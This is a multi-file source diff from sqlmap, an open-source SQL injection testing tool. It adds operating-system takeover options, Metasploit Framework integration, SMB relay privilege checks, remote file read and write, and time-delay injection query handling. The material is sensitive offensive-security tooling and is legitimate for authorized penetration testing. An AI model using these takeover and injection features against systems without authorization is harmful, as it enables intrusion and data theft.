inbandQuery += "NULL"
inbandQuery += nullChar
if " FROM " in query and not query.startswith("SELECT "):
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
@ -422,6 +463,9 @@ class Agent:
if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL"
if intoRegExp:
inbandQuery += intoRegExp
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -27,19 +27,22 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import random
import re
import socket
import string
import sys
import time
import urlparse
from lib.contrib import magic
from lib.core.convert import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING
@ -137,8 +140,9 @@ def formatDBMSfp(versions=None):
return kb.dbms
def __formatFingerprintString(values, chain=" or "):
def formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
return string.replace("|", chain)
@ -175,22 +179,22 @@ def formatFingerprint(target, info):
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % __formatFingerprintString(info["distrib"])
infoStr += " %s" % formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % __formatFingerprintString(info["release"])
infoStr += " %s" % formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % __formatFingerprintString(info["sp"])
infoStr += " %s" % formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
infoStr += " (%s)" % formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
return infoStr
@ -307,6 +311,21 @@ def dataToDumpFile(dumpFile, data):
dumpFile.flush()
def dataToOutFile(data):
if not data:
return "No data retrieved"
rFile = filePathToString(conf.rFile)
rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
rFileFP = open(rFilePath, "wb")
rFileFP.write(data)
rFileFP.flush()
rFileFP.close()
return rFilePath
def strToHex(string):
"""
@param string: string to be converted into its hexadecimal value.
@ -377,6 +396,9 @@ def readInput(message, default=None):
@rtype: C{str}
"""
if "\n" in message:
message += "\n> "
if conf.batch and default:
infoMsg = "%s%s" % (message, str(default))
logger.info(infoMsg)
@ -386,7 +408,7 @@ def readInput(message, default=None):
data = default
else:
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
data = raw_input(message)
return data
@ -418,7 +440,7 @@ def randomInt(length=4):
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5):
def randomStr(length=5, lowercase=False):
"""
@param length: length of the random string.
@type length: C{int}
@ -427,7 +449,12 @@ def randomStr(length=5):
@rtype: C{str}
"""
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
if lowercase == True:
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
else:
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
return rndStr
def sanitizeStr(string):
@ -469,8 +496,8 @@ def banner():
"""
print """
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
%s
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
""" % VERSION_STRING
@ -509,8 +536,10 @@ def cleanQuery(query):
def setPaths():
# sqlmap paths
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
@ -629,7 +658,7 @@ def getRange(count, dump=False, plusOne=False):
return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
@ -653,7 +682,8 @@ def parseUnionPage(output, expression, partial=False, condition=None):
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
if sort:
output = set(output)
for entry in output:
info = []
@ -677,3 +707,99 @@ def parseUnionPage(output, expression, partial=False, condition=None):
data = data[0]
return data
def getDelayQuery():
query = None
if kb.dbms in ( "MySQL", "PostgreSQL" ):
if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
query = queries[kb.dbms].timedelay % conf.timeSec
else:
query = queries[kb.dbms].timedelay2 % conf.timeSec
else:
query = queries[kb.dbms].timedelay % conf.timeSec
return query
def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
ip, _ = s.getsockname()
s.close()
return ip
def getRemoteIP():
return socket.gethostbyname(conf.hostname)
def getFileType(filePath):
magicFileType = magic.from_file(filePath)
if "ASCII" in magicFileType or "text" in magicFileType:
return "text"
else:
return "binary"
def pollProcess(process):
while True:
dataToStdout(".")
time.sleep(1)
returncode = process.poll()
if returncode != None:
if returncode == 0:
dataToStdout(" done\n")
else:
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
break
def getCharset(charsetType=None):
asciiTbl = []
if charsetType == None:
asciiTbl = range(0, 128)
# 0 or 1
elif charsetType == 1:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 50))
# Digits
elif charsetType == 2:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
# Hexadecimal
elif charsetType == 3:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
asciiTbl.extend(range(64, 71))
asciiTbl.extend(range(96, 103))
# Characters
elif charsetType == 4:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
# Characters and digits
elif charsetType == 5:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
return asciiTbl

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -83,8 +83,11 @@ def urldecode(string):
return unquotedString
def urlencode(string, safe=":/?%&="):
def urlencode(string, safe=":/?%&=", convall=False):
if not string:
return
return urllib.quote(string, safe)
if convall == True:
return urllib.quote(string)
else:
return urllib.quote(string, safe)

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -28,7 +28,6 @@ import re
import os
from lib.core.common import dataToDumpFile
from lib.core.common import filePathToString
from lib.core.data import conf
from lib.core.data import logger
@ -45,18 +44,10 @@ class Dump:
self.__outputFP = None
def __write(self, data, n=True, rFile=False):
def __write(self, data, n=True):
if n:
print data
self.__outputFP.write("%s\n" % data)
# TODO: do not duplicate queries output in the text file, check
# before if the data is already within the text file content
if rFile and conf.rFile:
rFile = filePathToString(conf.rFile)
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
rFileFP.write(data)
rFileFP.close()
else:
print data,
self.__outputFP.write("%s " % data)
@ -71,35 +62,38 @@ class Dump:
self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data):
def string(self, header, data, sort=True):
if isinstance(data, (list, tuple, set)):
self.lister(header, data)
self.lister(header, data, sort)
return
data = str(data)
if data:
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
data = data.replace("__START__", "").replace("__STOP__", "")
data = data.replace("__DEL__", ", ")
if "\n" in data:
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
self.__write("%s:\n---\n%s---\n" % (header, data))
else:
self.__write("%s: '%s'\n" % (header, data))
else:
self.__write("%s:\tNone\n" % header)
def lister(self, header, elements):
def lister(self, header, elements, sort=True):
if elements:
self.__write("%s [%d]:" % (header, len(elements)))
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower())
except:
pass
if sort == True:
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower())
except:
pass
for element in elements:
if isinstance(element, str):

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -26,6 +26,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION
from lib.core.settings import VERSION
from lib.core.settings import VERSION_STRING
@ -93,10 +95,10 @@ class sqlmapValueException(Exception):
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail "
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will "
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0]
errMsg += "Operating system: %s" % sys.platform
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s" % PLATFORM
return errMsg

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -25,17 +25,20 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import cookielib
import ctypes
import difflib
import logging
import os
import re
import socket
import sys
import time
import urllib2
import urlparse
from ConfigParser import ConfigParser
from lib.core.common import getFileType
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
@ -49,13 +52,17 @@ from lib.core.data import paths
from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapMissingPrivileges
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PLATFORM
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS
from lib.core.settings import VERSION_STRING
from lib.core.update import update
from lib.parse.configfile import configFileParser
@ -241,12 +248,140 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg
def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof:
return
if conf.osSmb:
isAdmin = False
if "win" in PLATFORM:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
elif "linux" in PLATFORM:
isAdmin = os.geteuid()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True
# TODO: add support for Mac OS X
#elif "darwin" in PLATFORM:
# pass
else:
warnMsg = "sqlmap is not able to check if you are running it "
warnMsg += "as an Administrator accout on this platform. "
warnMsg += "sqlmap will assume that you are an Administrator "
warnMsg += "which is mandatory for the SMB relay attack to "
warnMsg += "work properly"
logger.warn(warnMsg)
isAdmin = True
if isAdmin != True:
errMsg = "you need to run sqlmap as an administrator/root "
errMsg += "user if you want to perform a SMB relay attack "
errMsg += "because it will need to listen on a user-specified "
errMsg += "SMB TCP port for incoming connection attempts"
raise sqlmapMissingPrivileges, errMsg
debugMsg = "setting the out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if conf.msfPath:
condition = os.path.exists(os.path.normpath(conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
if condition:
debugMsg = "provided Metasploit Framework 3 path "
debugMsg += "'%s' is valid" % conf.msfPath
logger.debug(debugMsg)
msfEnvPathExists = True
else:
warnMsg = "the provided Metasploit Framework 3 path "
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
warnMsg += "be that the path does not exists or that one "
warnMsg += "or more of the needed Metasploit executables "
warnMsg += "within msfcli, msfconsole, msfencode and "
warnMsg += "msfpayload do not exist"
logger.warn(warnMsg)
else:
warnMsg = "you did not provide the local path where Metasploit "
warnMsg += "Framework 3 is installed"
logger.warn(warnMsg)
if msfEnvPathExists != True:
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
warnMsg += "installation into the environment paths"
logger.warn(warnMsg)
envPaths = os.environ["PATH"]
if "win" in PLATFORM:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
condition = os.path.exists(os.path.normpath(envPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
if condition:
infoMsg = "Metasploit Framework 3 has been found "
infoMsg += "installed in the '%s' path" % envPath
logger.info(infoMsg)
msfEnvPathExists = True
conf.msfPath = envPath
break
if msfEnvPathExists != True:
errMsg = "unable to locate Metasploit Framework 3 installation. "
errMsg += "Get it from http://metasploit.com/framework/download/"
raise sqlmapFilePathException, errMsg
def __setWriteFile():
if not conf.wFile:
return
debugMsg = "setting the write file functionality"
logger.debug(debugMsg)
if not os.path.exists(conf.wFile):
errMsg = "the provided local file '%s' does not exist" % conf.wFile
raise sqlmapFilePathException, errMsg
if not conf.dFile:
errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile
raise sqlmapMissingMandatoryOptionException, errMsg
conf.wFileType = getFileType(conf.wFile)
def __setUnionTech():
if conf.uTech == None:
conf.uTech = "NULL"
return
debugMsg = "setting the UNION query SQL injection detection technique"
logger.debug(debugMsg)
uTechOriginal = conf.uTech
conf.uTech = conf.uTech.lower()
@ -263,6 +398,29 @@ def __setUnionTech():
logger.debug(debugMsg)
def __setOS():
"""
Force the back-end DBMS operating system option.
"""
if not conf.os:
return
debugMsg = "forcing back-end DBMS operating system to user defined value"
logger.debug(debugMsg)
conf.os = conf.os.lower()
if conf.os not in SUPPORTED_OS:
errMsg = "you provided an unsupported back-end DBMS operating "
errMsg += "system. The supported DBMS operating systems for OS "
errMsg += "and file system access are Linux and Windows. "
errMsg += "If you do not know the back-end DBMS underlying OS, "
errMsg += "do not provide it and sqlmap will fingerprint it for "
errMsg += "you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setDBMS():
"""
Force the back-end DBMS option.
@ -280,8 +438,8 @@ def __setDBMS():
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp:
conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management "
@ -581,6 +739,21 @@ def __cleanupOptions():
if conf.delay:
conf.delay = float(conf.delay)
if conf.rFile:
conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/"))
if conf.wFile:
conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/"))
if conf.dFile:
conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/"))
if conf.msfPath:
conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/"))
if conf.tmpPath:
conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/"))
if conf.googleDork or conf.list:
conf.multipleTargets = True
@ -600,21 +773,24 @@ def __setConfAttributes():
conf.httpHeaders = []
conf.hostname = None
conf.loggedToOut = None
conf.matchRatio = None
conf.md5hash = None
conf.multipleTargets = False
conf.outputPath = None
conf.paramDict = {}
conf.parameters = {}
conf.paramFalseCond = False
conf.paramNegative = False
conf.path = None
conf.port = None
conf.retries = 0
conf.retriesCount = 0
conf.scheme = None
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None
conf.start = True
conf.threadException = False
conf.wFileType = None
def __setKnowledgeBaseAttributes():
@ -627,17 +803,31 @@ def __setKnowledgeBaseAttributes():
logger.debug(debugMsg)
kb.absFilePaths = set()
kb.docRoot = None
kb.bannerFp = advancedDict()
kb.data = advancedDict()
# Basic back-end DBMS fingerprint
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.bannerFp = {}
# Active (extensive) back-end DBMS fingerprint
kb.dbmsVersion = []
kb.dep = None
kb.docRoot = None
kb.headersCount = 0
kb.headersFp = {}
kb.htmlFp = []
kb.injParameter = None
kb.injPlace = None
kb.injType = None
# Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
kb.os = None
kb.osVersion = None
kb.osSP = None
kb.parenthesis = None
kb.resumedQueries = {}
kb.stackedTest = None
@ -763,7 +953,10 @@ def init(inputOptions=advancedDict()):
__setHTTPProxy()
__setThreads()
__setDBMS()
__setOS()
__setUnionTech()
__setWriteFile()
__setMetasploit()
__setGoogleDorking()
__setMultipleTargets()
__urllib2Opener()

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -51,6 +51,7 @@ optDict = {
"Injection": {
"testParameter": "string",
"dbms": "string",
"os": "string",
"prefix": "string",
"postfix": "string",
"string": "string",
@ -98,10 +99,18 @@ optDict = {
"File system": {
"rFile": "string",
"wFile": "string",
"dFile": "string",
},
"Takeover": {
"osCmd": "string",
"osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
},
"Miscellaneous": {
@ -110,5 +119,6 @@ optDict = {
"updateAll": "boolean",
"sessionFile": "string",
"batch": "boolean",
"cleanup": "boolean",
},
}

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -31,8 +31,8 @@ boolean and _outputfile variable used in genutils.
import sys
from lib.core.data import logger
from lib.core.settings import PLATFORM
try:
@ -49,7 +49,7 @@ except ImportError:
except ImportError:
haveReadline = False
if sys.platform == 'win32' and haveReadline:
if 'win' in PLATFORM and haveReadline:
try:
_outputfile=_rl.GetOutputFile()
except AttributeError:
@ -63,7 +63,7 @@ if sys.platform == 'win32' and haveReadline:
# Thanks to Boyd Waters for this patch.
uses_libedit = False
if sys.platform == 'darwin' and haveReadline:
if PLATFORM == 'darwin' and haveReadline:
import commands
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from lib.core.common import dataToSessionFile
from lib.core.common import formatFingerprintString
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
@ -34,6 +35,7 @@ from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
def setString():
"""
Save string to match in session file.
@ -62,6 +64,17 @@ def setRegexp():
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setMatchRatio():
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Match ratio") )
)
if condition:
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
def setInjection():
"""
Save information retrieved about injection place and parameter in the
@ -132,6 +145,67 @@ def setDbms(dbms):
logger.info("the back-end DBMS is %s" % kb.dbms)
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("OS") )
)
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
kb.os = formatFingerprintString(kb.bannerFp["type"])
infoMsg = "the back-end DBMS operating system is %s" % kb.os
if "distrib" in kb.bannerFp:
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and kb.os == "Windows":
kb.osSP = 0
if kb.os and kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
def setStacked():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
)
if not isinstance(kb.stackedTest, str):
return
if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
def setUnion(comment=None, count=None, position=None):
"""
@param comment: union comment to save in session file
@ -172,6 +246,27 @@ def setUnion(comment=None, count=None, position=None):
kb.unionPosition = position
def setRemoteTempPath():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Remote temp path") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
def setDEP():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("DEP") )
)
if condition:
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url:
string = value[:-1]
@ -216,6 +311,14 @@ def resumeConfKb(expression, url, value):
if not test or test[0] in ("y", "Y"):
conf.regexp = regexp
elif expression == "Match ratio" and url == conf.url:
matchRatio = value[:-1]
logMsg = "resuming match ratio '%s' from session file" % matchRatio
logger.info(logMsg)
conf.matchRatio = round(float(matchRatio), 3)
elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1]
@ -278,7 +381,7 @@ def resumeConfKb(expression, url, value):
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms
@ -293,6 +396,34 @@ def resumeConfKb(expression, url, value):
else:
conf.dbms = dbms
elif expression == "OS" and url == conf.url:
os = value[:-1]
logMsg = "resuming back-end DBMS operating system '%s' " % os
logMsg += "from session file"
logger.info(logMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.os = os
else:
conf.os = os
elif expression == "Stacked queries" and url == conf.url:
kb.stackedTest = value[:-1]
logMsg = "resuming stacked queries syntax "
logMsg += "'%s' from session file" % kb.stackedTest
logger.info(logMsg)
elif expression == "Union comment" and url == conf.url:
kb.unionComment = value[:-1]
@ -313,3 +444,17 @@ def resumeConfKb(expression, url, value):
logMsg = "resuming union position "
logMsg += "%s from session file" % kb.unionPosition
logger.info(logMsg)
elif expression == "Remote temp path" and url == conf.url:
conf.tmpPath = value[:-1]
logMsg = "resuming remote absolute path of temporary "
logMsg += "files directory '%s' from session file" % conf.tmpPath
logger.info(logMsg)
elif expression == "DEP" and url == conf.url:
kb.dep = value[:-1]
logMsg = "resuming DEP system policy value '%s' " % kb.dep
logMsg += "from session file"
logger.info(logMsg)

View File

@ -5,8 +5,8 @@ $Id$
